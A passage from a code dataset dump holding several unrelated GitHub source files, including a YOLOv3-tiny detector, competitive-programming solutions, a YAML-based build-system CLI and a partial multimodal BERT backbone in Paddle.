cn\n","repo_name":"Nourhan-Wael/alx-higher_level_programming","sub_path":"0x05-python-exceptions/0-safe_print_list.py","file_name":"0-safe_print_list.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5909683407","text":"import torch\nimport torch.nn as nn\n\n\n# In order for the baselines to be launched with the same logic as quantized\n# models, an empty quantization scheme and an empty thermostat schedule need\n# to be configured.\n# Use the following templates for the `net` and `thermostat` configurations:\n#\n# \"net\": {\n# \"class\": \"YOLOv3TinyBaseline\",\n# \"params\": {},\n# \"pretrained\": null,\n# \"loss_function\": {\n# \"class\": \"YOLOv3Loss\",\n# \"params\": {}\n# }\n# }\n#\n# \"thermostat\": {\n# \"class\": \"YOLOv3TinyBaseline\",\n# \"params\": {\n# \"noise_schemes\": {},\n# \"bindings\": []\n# }\n# }\n\nclass YOLOv3Layer(nn.Module):\n\n def __init__(self, anchors, num_classes):\n super(YOLOv3Layer, self).__init__()\n self.anchors = torch.Tensor(anchors)\n self.na = len(anchors)\n self.nx = 0 # cells in x direction\n self.ny = 0 # cells in y direction\n self.ng = torch.Tensor([0, 0]).type(torch.int) # cells in grid\n self.pxc = torch.Tensor([0, 0]).type(torch.int) # pixels per cell (in x and y directions)\n self.ag = None\n self.og = None\n self.nc = num_classes\n\n def compute_grids(self, img_size=416, ng=(13, 13), device='cpu', dtype=torch.float32):\n nx, ny = ng\n self.nx = nx\n self.ny = ny\n self.ng = torch.Tensor(ng).to(device)\n self.pxc = img_size / self.ng\n # anchors grid\n cxa = self.anchors.to(device) / self.pxc # anchors sizes (in grid cells instead of pixels)\n self.ag = cxa.view(1, self.na, 1, 1, 2).to(device).type(dtype).detach()\n # cells offsets grid\n oy, ox = torch.meshgrid([torch.arange(self.ny), torch.arange(self.nx)])\n self.og = torch.stack((ox, oy), 2).view(1, 1, self.ny, self.nx, 2).to(device).type(dtype).detach()\n\n def forward(self, x, img_size):\n bs = x.size(0)\n ny = x.size(-2)\n nx = x.size(-1)\n if (self.nx, self.ny) != (nx, ny):\n self.compute_grids(img_size=img_size, ng=(nx, ny), device=x.device, dtype=x.dtype)\n x = x.view(bs, self.na, 4+1+self.nc, self.ny, self.nx).permute(0, 1, 3, 4, 2).contiguous()\n # activate predictions\n x[..., 0:2] = torch.sigmoid(x[..., 0:2]) + self.og.to(x)\n x[..., 2:4] = torch.exp(x[..., 2:4]) * self.ag.to(x)\n x[..., 0:4:2] = x[..., 0:4:2] / self.nx\n x[..., 1:4:2] = x[..., 1:4:2] / self.ny\n x[..., 4:5] = torch.sigmoid(x[..., 4:5])\n x[..., 5:] = torch.sigmoid(x[..., 5:])\n return x\n\n\nclass YOLOv3TinyBaseline(nn.Module):\n\n def __init__(self):\n super(YOLOv3TinyBaseline, self).__init__()\n self.nc = 80\n self.img_size = 416\n self.anchors = [[(81, 82), (135, 169), (344, 319)],\n [(23, 27), (37, 58), (81, 82)]]\n na_coarse = len(self.anchors[0])\n na_fine = len(self.anchors[1])\n self.yololayers = []\n self.phi01_conv = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi01_bn = nn.BatchNorm2d(num_features=16, momentum=0.9)\n self.phi01_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi02_mp = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.phi02_conv = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi02_bn = nn.BatchNorm2d(num_features=32, momentum=0.9)\n self.phi02_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi03_mp = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.phi03_conv = nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi03_bn = nn.BatchNorm2d(num_features=64, momentum=0.9)\n self.phi03_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi04_mp = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.phi04_conv = nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi04_bn = nn.BatchNorm2d(num_features=128, momentum=0.9)\n self.phi04_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi05_mp = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.phi05_conv = nn.Conv2d(in_channels=128, out_channels=256, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi05_bn = nn.BatchNorm2d(num_features=256, momentum=0.9)\n self.phi05_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi06_mp = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.phi06_conv = nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi06_bn = nn.BatchNorm2d(num_features=512, momentum=0.9)\n self.phi06_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi07_zp = nn.ZeroPad2d((0, 1, 0, 1))\n self.phi07_mp = nn.MaxPool2d(kernel_size=2, stride=1, padding=0)\n self.phi07_conv = nn.Conv2d(in_channels=512, out_channels=1024, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi07_bn = nn.BatchNorm2d(num_features=1024, momentum=0.9)\n self.phi07_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi08_conv = nn.Conv2d(in_channels=1024, out_channels=256, kernel_size=1, stride=1, padding=0, bias=False)\n self.phi08_bn = nn.BatchNorm2d(num_features=256, momentum=0.9)\n self.phi08_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n # coarse-grained branch\n self.phi09a_conv = nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi09a_bn = nn.BatchNorm2d(num_features=512, momentum=0.9)\n self.phi09a_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi10a_conv = nn.Conv2d(in_channels=512, out_channels=na_coarse*(4+1+self.nc), kernel_size=1, stride=1, padding=0, bias=True)\n self.phi10a_yolo = YOLOv3Layer(self.anchors[0], num_classes=self.nc)\n # fine-grained branch\n self.phi09b_conv = nn.Conv2d(in_channels=256, out_channels=128, kernel_size=1, stride=1, padding=0, bias=False)\n self.phi09b_bn = nn.BatchNorm2d(num_features=128, momentum=0.9)\n self.phi09b_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi10b_up = nn.Upsample(scale_factor=2, mode='nearest')\n self.phi10b_conv = nn.Conv2d(in_channels=384, out_channels=256, kernel_size=3, stride=1, padding=1, bias=False)\n self.phi10b_bn = nn.BatchNorm2d(num_features=256, momentum=0.9)\n self.phi10b_act = nn.LeakyReLU(negative_slope=0.1, inplace=True)\n self.phi11b_conv = nn.Conv2d(in_channels=256, out_channels=na_fine*(4+1+self.nc), kernel_size=1, stride=1, padding=0, bias=True)\n self.phi11b_yolo = YOLOv3Layer(self.anchors[1], num_classes=self.nc)\n # yolo layers list (for loss function)\n self.yololayers = [self.phi10a_yolo, self.phi11b_yolo]\n\n def forward(self, x):\n img_size = max(x.size()[-2:])\n if img_size != self.img_size:\n self.img_size = img_size\n pr_outs = []\n x = self.phi01_conv(x)\n x = self.phi01_bn(x)\n x = self.phi01_act(x)\n x = self.phi02_mp(x)\n x = self.phi02_conv(x)\n x = self.phi02_bn(x)\n x = self.phi02_act(x)\n x = self.phi03_mp(x)\n x = self.phi03_conv(x)\n x = self.phi03_bn(x)\n x = self.phi03_act(x)\n x = self.phi04_mp(x)\n x = self.phi04_conv(x)\n x = self.phi04_bn(x)\n x = self.phi04_act(x)\n x = self.phi05_mp(x)\n x = self.phi05_conv(x)\n x = self.phi05_bn(x)\n x_phi05 = self.phi05_act(x) # route layer (entry)\n x = self.phi06_mp(x_phi05)\n x = self.phi06_conv(x)\n x = self.phi06_bn(x)\n x = self.phi06_act(x)\n x = self.phi07_zp(x)\n x = self.phi07_mp(x)\n x = self.phi07_conv(x)\n x = self.phi07_bn(x)\n x = self.phi07_act(x)\n x = self.phi08_conv(x)\n x = self.phi08_bn(x)\n x_phi08 = self.phi08_act(x)\n x = self.phi09a_conv(x_phi08) # coarse-grained branch\n x = self.phi09a_bn(x)\n x = self.phi09a_act(x)\n x = self.phi10a_conv(x)\n x = self.phi10a_yolo(x, self.img_size) # coarse-grained prediction\n pr_outs.append(x)\n x = self.phi09b_conv(x_phi08) # fine-grained branch\n x = self.phi09b_bn(x)\n x = self.phi09b_act(x)\n x = self.phi10b_up(x)\n x = torch.cat([x, x_phi05], 1) # route layer (exit)\n x = self.phi10b_conv(x)\n x = self.phi10b_bn(x)\n x = self.phi10b_act(x)\n x = self.phi11b_conv(x)\n x = self.phi11b_yolo(x, self.img_size) # fine-grained prediction\n pr_outs.append(x)\n return pr_outs\n\n def forward_with_tensor_stats(self, x):\n stats = []\n img_size = max(x.size()[-2:])\n if img_size != self.img_size:\n self.img_size = img_size\n pr_outs = []\n x = self.phi01_conv(x)\n x = self.phi01_bn(x)\n x = self.phi01_act(x)\n x = self.phi02_mp(x)\n x = self.phi02_conv(x)\n x = self.phi02_bn(x)\n x = self.phi02_act(x)\n x = self.phi03_mp(x)\n x = self.phi03_conv(x)\n x = self.phi03_bn(x)\n x = self.phi03_act(x)\n x = self.phi04_mp(x)\n x = self.phi04_conv(x)\n x = self.phi04_bn(x)\n x = self.phi04_act(x)\n x = self.phi05_mp(x)\n x = self.phi05_conv(x)\n x = self.phi05_bn(x)\n x_phi05 = self.phi05_act(x) # route layer (entry)\n x = self.phi06_mp(x_phi05)\n x = self.phi06_conv(x)\n x = self.phi06_bn(x)\n x = self.phi06_act(x)\n x = self.phi07_zp(x)\n x = self.phi07_mp(x)\n x = self.phi07_conv(x)\n x = self.phi07_bn(x)\n x = self.phi07_act(x)\n x = self.phi08_conv(x)\n x = self.phi08_bn(x)\n x_phi08 = self.phi08_act(x)\n x = self.phi09a_conv(x_phi08) # coarse-grained branch\n x = self.phi09a_bn(x)\n x = self.phi09a_act(x)\n x = self.phi10a_conv(x)\n x = self.phi10a_yolo(x, self.img_size) # coarse-grained prediction\n pr_outs.append(x)\n x = self.phi09b_conv(x_phi08) # fine-grained branch\n x = self.phi09b_bn(x)\n x = self.phi09b_act(x)\n x = self.phi10b_up(x)\n x = torch.cat([x, x_phi05], 1) # route layer (exit)\n x = self.phi10b_conv(x)\n x = self.phi10b_bn(x)\n x = self.phi10b_act(x)\n x = self.phi11b_conv(x)\n x = self.phi11b_yolo(x, self.img_size) # fine-grained prediction\n pr_outs.append(x)\n return stats, pr_outs\n","repo_name":"spallanzanimatteo/QuantLab","sub_path":"quantlab/COCO/YOLOv3Tiny/yolov3tinybaseline.py","file_name":"yolov3tinybaseline.py","file_ext":"py","file_size_in_byte":10743,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"42814317952","text":"# -*- coding: utf-8 -*-\n\"\"\"분해합\n\n어떤 자연수 N이 있을 때, 그 자연수 N의 분해합은 N과 N을 이루는 각 자리수의 합을 의미한다.\n어떤 자연수 M의 분해합이 N인 경우, M을 N의 생성자라 한다.\n\n예를 들어, 245의 분해합은 256(=245+2+4+5)이 된다. 따라서 245는 256의 생성자가 된다.\n물론, 어떤 자연수의 경우에는 생성자가 없을 수도 있다. 반대로, 생성자가 여러 개인 자연수도 있을 수 있다.\n\n자연수 N이 주어졌을 때, N의 가장 작은 생성자를 구해내는 프로그램을 작성하시오.\n\n첫째 줄에 자연수 N(1 ≤ N ≤ 1,000,000)이 주어진다.\n\n첫째 줄에 답을 출력한다. 생성자가 없는 경우에는 0을 출력한다.\n\nExample:\n def solution():\n result = do_something()\n return result\n\n if __name__ == '__main__':\n\n solution()\n\n\"\"\"\n\n\ndef desum(n: int):\n result = n\n while n:\n result += n % 10\n n = n // 10\n return result\n\n\ndef solution(n: int):\n result = 0\n for i in range(n):\n if n == desum(i):\n return i\n return result\n\n\ndef short_code():\n \"\"\"숏 코드\n \"\"\"\n n = int(input())\n print([*[i for i in range(n) if n == i + sum(map(int, str(i)))], 0][0])\n\n\nif __name__ == '__main__':\n print(solution(int(input())))\n","repo_name":"hodoodang/legendary-guacamole","sub_path":"BOJ/2231.py","file_name":"2231.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73408004587","text":"import sys\n\nsys.stdin = open('input2.txt', 'r')\n\nT = int(input())\n\ndy = [-1, 1, 0, 0]\ndx = [0, 0, -1, 1]\n\n\ndef perm_r(k):\n if k == R:\n cases.append(c[::])\n else:\n for i in range(N):\n if visited[i]:\n continue\n visited[i] = True\n c[k] = snack[i]\n perm_r(k + 1)\n visited[i] = False\n\n\ndef BFS(point, target):\n queue = [(point[0], point[1], 0)]\n front, rear = -1, 0\n cnt = 0\n while front != rear:\n front += 1\n y, x, cnt = queue[front]\n for k in range(4):\n next_y = y + dy[k]\n next_x = x + dx[k]\n if next_y >= 0 and next_y < 10 and next_x >= 0 and next_x < 10:\n if lst[next_y][next_x] != target and not visited_bfs[next_y][next_x]:\n visited_bfs[next_y][next_x] = 1\n queue.append((next_y, next_x, cnt + 1))\n rear += 1\n elif lst[next_y][next_x] == target:\n cnt += 1\n return cnt\n\n\nfor tc in range(1, T + 1):\n input()\n lst = [list(map(int, input().split())) for _ in range(10)]\n\n # 9 좌표 찾기\n points = []\n for i in range(10):\n for j in range(10):\n if lst[i][j] == 9:\n points.append((i, j))\n\n # 경우의 수 구하기\n cases = []\n snack = [1, 2, 3, 4, 5, 6]\n N = 6\n visited = [0] * 6\n R = 6\n c = [0] * 6\n perm_r(0)\n min_val = 1000000\n for case in cases:\n dist = 0\n flag = False\n for i in range(6):\n visited_bfs = [[0] * 10 for _ in range(10)]\n if min_val > dist:\n dist += BFS(points[i], case[i])\n if min_val > dist:\n min_val = dist\n\n print('#{} {}'.format(tc, min_val))\n","repo_name":"lhbbbb/TIL","sub_path":"Algorithm/Samsung/2기서울1반이현빈_월말평가/no2.py","file_name":"no2.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1652957399","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport scenes\nimport config\n\nrunning = True\n\nwhile running:\n scenes.intro()\n\n again = input( config.try_again + ' (Y/N):');\n if again.lower() == 'y':\n running = True\n if again.lower() == 'n':\n running = False\n\nprint( config.thanks )\ninput('Press enter to exit...')\n","repo_name":"Miky9/Py-BasicSyntax","sub_path":"ITN/ITN_Dracak/source_code/DragonRealm.py","file_name":"DragonRealm.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72316611628","text":"\"\"\"\nUsage:\n app.py list builds [--dir=]\n app.py list tasks [--dir=]\n app.py get build [--dir=]\n app.py get task [--dir=]\n app.py (-h | --help)\n app.py --version\n\nOptions:\n -h --help Дополнительные параметры:\n --version Показать версию\n --dir= изменить директорию YAML файлов [default: .]\n\n\"\"\"\nimport os\nimport yaml\nfrom docopt import docopt\n\n\nclass BuildSystem:\n def __init__(self, tasks_file, builds_file):\n \"\"\"\n :param tasks_file: файл задач\n :param builds_file: файл билдов\n \"\"\"\n try:\n self.tasks = self.__get_yaml_data(tasks_file)['tasks']\n self.builds = self.__get_yaml_data(builds_file)['builds']\n except TypeError as e:\n print(\"Ошибка обработки данные в файлах YAML. Проверьте правильность данных\")\n print(str(e))\n exit(1)\n except KeyError as e:\n print(f\"Ошибка обработки данные в файлах YAML. В файле нет данных по ключу {e}\")\n exit(1)\n\n @staticmethod\n def __get_yaml_data(file):\n \"\"\"\n получить данные файла yaml\n :param file: путь к файлу\n \"\"\"\n try:\n with open(file) as f:\n yaml_data = yaml.safe_load(f)\n return yaml_data\n except FileNotFoundError:\n print(f\"Файл '{file}' не найден\")\n exit(1)\n except yaml.YAMLError as e:\n print(f\"Ошибка обработки данные в '{file}': {str(e)}\")\n exit(1)\n\n def list_builds_or_tasks(self, type_data='builds'):\n \"\"\"\n вывести список имен всех задач или билдов\n :param type_data: тип сущности для вывода - билд или задача (\"build\" or \"task\")\n \"\"\"\n if type_data == 'tasks': # если нужно вывести задачи\n objects = self.tasks\n else:\n objects = self.builds\n\n print(f\"List of available {type_data}:\")\n for obj in objects:\n print(f\" * {obj['name']}\")\n\n def get_task(self, task_name, just_dependencies=False):\n \"\"\"\n получить имя задачи и ее зависимости\n :param task_name: имя запрашиваемой задачи\n :param just_dependencies: флаг для возврата только списка зависимостей и самой задачи\n :return: список зависимостей задачи\n \"\"\"\n for task in self.tasks:\n try:\n if task_name == task['name']:\n\n if just_dependencies:\n return list(task['dependencies'])\n\n print(f\"Task info:\")\n print(f\" * name: {task_name}\")\n print(f\" * dependencies: {', '.join(task['dependencies'])}\")\n return\n\n except KeyError as e:\n print(f\"Ошибка обработки данные в файлах YAML. В файле нет данных по ключу {e} у задачи '{task_name}'\")\n exit(1)\n print(f\"Задача '{task_name}' не существует\")\n\n def __get_build_tasks_list(self, tasks, build_tasks_list):\n \"\"\"\n получаем список задач и их зависимостей для конкретного билда\n :param tasks: список задач\n :param build_tasks_list: список для сбора всех задач и подзадач билда. Изначально пустой\n :return: список всех задач и подзадач билда.\n \"\"\"\n\n if len(tasks) == 0:\n return\n\n for task_name in tasks:\n task_dependencies = self.get_task(task_name, True)\n\n self.__get_build_tasks_list(task_dependencies, build_tasks_list)\n\n build_tasks_list.append(task_name)\n return build_tasks_list\n\n def get_build(self, build_name):\n \"\"\" получить билд и его задачи \"\"\"\n for build in self.builds:\n try:\n if build_name == build['name']:\n print(f\"Build info:\")\n print(f\" * name: {build_name}\")\n task_list = self.__get_build_tasks_list(build['tasks'], [])\n print(f\" * tasks: {', '.join(task_list)}\")\n return\n except KeyError as e:\n print(f\"Ошибка обработки данные в файлах YAML. В файле нет данных по ключу {e} у билда '{build_name}'\")\n exit(1)\n print(f\"Билд '{build_name}' не существует\")\n\n\nif __name__ == '__main__':\n arguments = docopt(__doc__, version='CLI utility for build system v1.0')\n\n directory = arguments['--dir']\n tasks_file = os.path.join(directory, 'tasks.yaml')\n builds_file = os.path.join(directory, 'builds.yaml')\n\n build_system = BuildSystem(tasks_file, builds_file)\n\n if arguments['list'] and arguments['builds']:\n build_system.list_builds_or_tasks('builds')\n\n elif arguments['list'] and arguments['tasks']:\n build_system.list_builds_or_tasks('tasks')\n\n elif arguments['get'] and arguments['build']:\n build_name = arguments['']\n build_system.get_build(build_name)\n\n elif arguments['get'] and arguments['task']:\n task_name = arguments['']\n build_system.get_task(task_name)\n","repo_name":"are-nic/saber_cli_test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7012448843","text":"import sys\nimport numpy as np\nimport math\nimport copy\n\nimport paddle\nimport paddle.nn as nn\nimport paddle.nn.functional as F\nfrom paddle.nn import (Conv2D, BatchNorm2D, Linear, Dropout)\nfrom paddle.nn.initializer import Constant, Normal\nfrom ...utils.save_load import load_ckpt\nfrom ..registry import BACKBONES\nfrom ..weight_init import weight_init_\n\nACT2FN = {\"gelu\": F.gelu, \"relu\": F.relu, \"swish\": F.swish}\n\n\nclass BertEmbeddings(nn.Layer):\n \"\"\"Construct the embeddings from word, position and token_type embeddings.\n \"\"\"\n def __init__(self, vocab_size, max_position_embeddings, type_vocab_size,\n hidden_size, hidden_dropout_prob):\n super(BertEmbeddings, self).__init__()\n self.word_embeddings = nn.Embedding(vocab_size,\n hidden_size,\n padding_idx=0)\n self.position_embeddings = nn.Embedding(max_position_embeddings,\n hidden_size)\n self.token_type_embeddings = nn.Embedding(type_vocab_size, hidden_size)\n\n self.LayerNorm = nn.LayerNorm(hidden_size, epsilon=1e-12)\n self.dropout = nn.Dropout(hidden_dropout_prob)\n\n def forward(self, input_ids, token_type_ids=None):\n seq_length = input_ids.shape[1]\n position_ids = paddle.arange(end=seq_length, dtype=\"int64\")\n position_ids = position_ids.unsqueeze(0).expand_as(input_ids)\n if token_type_ids is None:\n token_type_ids = paddle.zeros_like(input_ids)\n\n words_embeddings = self.word_embeddings(input_ids) #8,36 -> 8,36,768\n position_embeddings = self.position_embeddings(\n position_ids) #8,36 -> 8,36,768\n token_type_embeddings = self.token_type_embeddings(\n token_type_ids) #8,36 -> 8,36,768\n\n embeddings = words_embeddings + position_embeddings + token_type_embeddings\n embeddings = self.LayerNorm(embeddings)\n embeddings = self.dropout(embeddings)\n return embeddings\n\n\nclass BertImageEmbeddings(nn.Layer):\n def __init__(self, v_feature_size, v_hidden_size, v_hidden_dropout_prob):\n super(BertImageEmbeddings, self).__init__()\n self.image_embeddings = nn.Linear(v_feature_size, v_hidden_size)\n self.image_location_embeddings = nn.Linear(5, v_hidden_size)\n self.LayerNorm = nn.LayerNorm(v_hidden_size, epsilon=1e-12)\n self.dropout = nn.Dropout(v_hidden_dropout_prob)\n\n def forward(self, input_ids, input_loc):\n img_embeddings = self.image_embeddings(\n input_ids) #8,37,2048 -> 8,37,1024\n loc_embeddings = self.image_location_embeddings(\n input_loc) #8,37,5 -> 8,37,1024\n embeddings = self.LayerNorm(img_embeddings + loc_embeddings)\n embeddings = self.dropout(embeddings)\n return embeddings # shape: bs*seq_len*hs\n\n\nclass BertActionEmbeddings(nn.Layer):\n def __init__(self, a_feature_size, a_hidden_size, a_hidden_dropout_prob):\n super(BertActionEmbeddings, self).__init__()\n self.action_embeddings = nn.Linear(a_feature_size, a_hidden_size)\n self.LayerNorm = nn.LayerNorm(a_hidden_size, epsilon=1e-12)\n self.dropout = nn.Dropout(a_hidden_dropout_prob)\n\n def forward(self, input_ids):\n action_embeddings = self.action_embeddings(\n input_ids) #8,5,2048 -> 8,5,768\n embeddings = self.LayerNorm(action_embeddings)\n embeddings = self.dropout(embeddings)\n return embeddings\n\n\nclass BertSelfAttention(nn.Layer):\n def __init__(self, hidden_size, num_attention_heads,\n attention_probs_dropout_prob):\n super(BertSelfAttention, self).__init__()\n if hidden_size % num_attention_heads != 0:\n raise ValueError(\n \"The hidden size (%d) is not a multiple of the number of attention \"\n \"heads (%d)\" % (hidden_size, num_attention_heads))\n self.num_attention_heads = num_attention_heads\n self.attention_head_size = int(hidden_size / num_attention_heads)\n self.all_head_size = self.num_attention_heads * self.attention_head_size\n\n self.query = nn.Linear(hidden_size, self.all_head_size)\n self.key = nn.Linear(hidden_size, self.all_head_size)\n self.value = nn.Linear(hidden_size, self.all_head_size)\n\n self.dropout = nn.Dropout(attention_probs_dropout_prob)\n\n def transpose_for_scores(self, x):\n new_x_shape = x.shape[:-1] + [\n self.num_attention_heads,\n self.attention_head_size,\n ]\n x = x.reshape(new_x_shape)\n return x.transpose((0, 2, 1, 3))\n\n def forward(self, hidden_states, attention_mask):\n mixed_query_layer = self.query(hidden_states)\n mixed_key_layer = self.key(hidden_states)\n mixed_value_layer = self.value(hidden_states)\n\n query_layer = self.transpose_for_scores(mixed_query_layer)\n key_layer = self.transpose_for_scores(mixed_key_layer)\n value_layer = self.transpose_for_scores(mixed_value_layer)\n\n # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n attention_scores = paddle.matmul(query_layer,\n key_layer.transpose((0, 1, 3, 2)))\n attention_scores = attention_scores / math.sqrt(\n self.attention_head_size)\n # Apply the attention mask is (precomputed for all layers in BertModel forward() function)\n attention_scores = attention_scores + attention_mask\n\n # Normalize the attention scores to probabilities.\n attention_probs = nn.Softmax(axis=-1)(attention_scores)\n\n # This is actually dropping out entire tokens to attend to, which might\n # seem a bit unusual, but is taken from the original Transformer paper.\n attention_probs = self.dropout(attention_probs)\n\n context_layer = paddle.matmul(attention_probs, value_layer)\n context_layer = context_layer.transpose((0, 2, 1, 3))\n new_context_layer_shape = context_layer.shape[:-2] + [\n self.all_head_size\n ]\n context_layer = context_layer.reshape(new_context_layer_shape)\n\n return context_layer, attention_probs\n\n\nclass BertSelfOutput(nn.Layer):\n def __init__(self, hidden_size, hidden_dropout_prob):\n super(BertSelfOutput, self).__init__()\n self.dense = nn.Linear(hidden_size, hidden_size)\n self.LayerNorm = nn.LayerNorm(hidden_size, epsilon=1e-12)\n self.dropout = nn.Dropout(hidden_dropout_prob)\n\n def forward(self, hidden_states, input_tensor):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.dropout(hidden_states)\n hidden_states = self.LayerNorm(hidden_states + input_tensor)\n return hidden_states\n\n\nclass BertAttention(nn.Layer):\n def __init__(self, hidden_size, hidden_dropout_prob, num_attention_heads,\n attention_probs_dropout_prob):\n super(BertAttention, self).__init__()\n self.self = BertSelfAttention(hidden_size, num_attention_heads,\n attention_probs_dropout_prob)\n self.output = BertSelfOutput(hidden_size, hidden_dropout_prob)\n\n def forward(self, input_tensor, attention_mask):\n self_output, attention_probs = self.self(input_tensor, attention_mask)\n attention_output = self.output(self_output, input_tensor)\n return attention_output, attention_probs\n\n\nclass BertIntermediate(nn.Layer):\n def __init__(self, hidden_size, intermediate_size, hidden_act):\n super(BertIntermediate, self).__init__()\n self.dense = nn.Linear(hidden_size, intermediate_size)\n if isinstance(hidden_act, str) or (sys.version_info[0] == 2\n and isinstance(hidden_act, str)):\n self.intermediate_act_fn = ACT2FN[hidden_act]\n else:\n self.intermediate_act_fn = hidden_act\n\n def forward(self, hidden_states):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.intermediate_act_fn(hidden_states)\n return hidden_states\n\n\nclass BertOutput(nn.Layer):\n def __init__(self, intermediate_size, hidden_size, hidden_dropout_prob):\n super(BertOutput, self).__init__()\n self.dense = nn.Linear(intermediate_size, hidden_size)\n self.LayerNorm = nn.LayerNorm(hidden_size, epsilon=1e-12)\n self.dropout = nn.Dropout(hidden_dropout_prob)\n\n def forward(self, hidden_states, input_tensor):\n hidden_states = self.dense(hidden_states)\n hidden_states = self.dropout(hidden_states)\n hidden_states = self.LayerNorm(hidden_states + input_tensor)\n return hidden_states\n\n\nclass BertEntAttention(nn.Layer):\n \"\"\"Core mudule of tangled transformer.\n \"\"\"\n def __init__(\n self,\n hidden_size,\n v_hidden_size,\n a_hidden_size,\n bi_hidden_size,\n attention_probs_dropout_prob,\n v_attention_probs_dropout_prob,\n a_attention_probs_dropout_prob,\n av_attention_probs_dropout_prob,\n at_attention_probs_dropout_prob,\n bi_num_attention_heads,\n ):\n super(BertEntAttention, self).__init__()\n if bi_hidden_size % bi_num_attention_heads != 0:\n raise ValueError(\n \"The hidden size (%d) is not a multiple of the number of attention \"\n \"heads (%d)\" % (bi_hidden_size, bi_num_attention_heads))\n\n self.num_attention_heads = bi_num_attention_heads\n self.attention_head_size = int(bi_hidden_size / bi_num_attention_heads)\n self.all_head_size = self.num_attention_heads * self.attention_head_size\n\n # self attention layers for vision input\n self.query1 = nn.Linear(v_hidden_size, self.all_head_size)\n self.key1 = nn.Linear(v_hidden_size, self.all_head_size)\n self.value1 = nn.Linear(v_hidden_size, self.all_head_size)\n self.dropout1 = nn.Dropout(v_attention_probs_dropout_prob)\n\n # self attention layers for text input\n self.query2 = nn.Linear(hidden_size, self.all_head_size)\n self.key2 = nn.Linear(hidden_size, self.all_head_size)\n self.value2 = nn.Linear(hidden_size, self.all_head_size)\n self.dropout2 = nn.Dropout(attention_probs_dropout_prob)\n\n # self attention layers for action input\n self.query3 = nn.Linear(a_hidden_size, self.all_head_size)\n self.key3 = nn.Linear(a_hidden_size, self.all_head_size)\n self.value3 = nn.Linear(a_hidden_size, self.all_head_size)\n self.dropout3 = nn.Dropout(a_attention_probs_dropout_prob)\n\n # self attention layers for action_text\n self.key_at = nn.Linear(bi_hidden_size, self.all_head_size)\n self.value_at = nn.Linear(bi_hidden_size, self.all_head_size)\n self.dropout_at = nn.Dropout(av_attention_probs_dropout_prob)\n\n # self attention layers for action_vision\n self.key_av = nn.Linear(bi_hidden_size, self.all_head_size)\n self.value_av = nn.Linear(bi_hidden_size, self.all_head_size)\n self.dropout_av = nn.Dropout(at_attention_probs_dropout_prob)\n\n def transpose_for_scores(self, x):\n new_x_shape = x.shape[:-1] + [\n self.num_attention_heads,\n self.attention_head_size,\n ]\n x = x.reshape(new_x_shape)\n return x.transpose((0, 2, 1, 3))\n\n def forward(\n self,\n input_tensor1,\n attention_mask1,\n input_tensor2,\n attention_mask2,\n input_tensor3,\n attention_mask3,\n ):\n\n # for vision input.\n mixed_query_layer1 = self.query1(input_tensor1)\n mixed_key_layer1 = self.key1(input_tensor1)\n mixed_value_layer1 = self.value1(input_tensor1)\n\n query_layer1 = self.transpose_for_scores(mixed_query_layer1)\n key_layer1 = self.transpose_for_scores(mixed_key_layer1)\n value_layer1 = self.transpose_for_scores(mixed_value_layer1)\n\n # for text input:\n mixed_query_layer2 = self.query2(input_tensor2)\n mixed_key_layer2 = self.key2(input_tensor2)\n mixed_value_layer2 = self.value2(input_tensor2)\n\n query_layer2 = self.transpose_for_scores(mixed_query_layer2)\n key_layer2 = self.transpose_for_scores(mixed_key_layer2)\n value_layer2 = self.transpose_for_scores(mixed_value_layer2)\n\n # for action input:\n mixed_query_layer3 = self.query3(input_tensor3)\n mixed_key_layer3 = self.key3(input_tensor3)\n mixed_value_layer3 = self.value3(input_tensor3)\n\n query_layer3 = self.transpose_for_scores(mixed_query_layer3)\n key_layer3 = self.transpose_for_scores(mixed_key_layer3)\n value_layer3 = self.transpose_for_scores(mixed_value_layer3)\n\n def do_attention(query_layer, key_layer, value_layer, attention_mask,\n dropout):\n 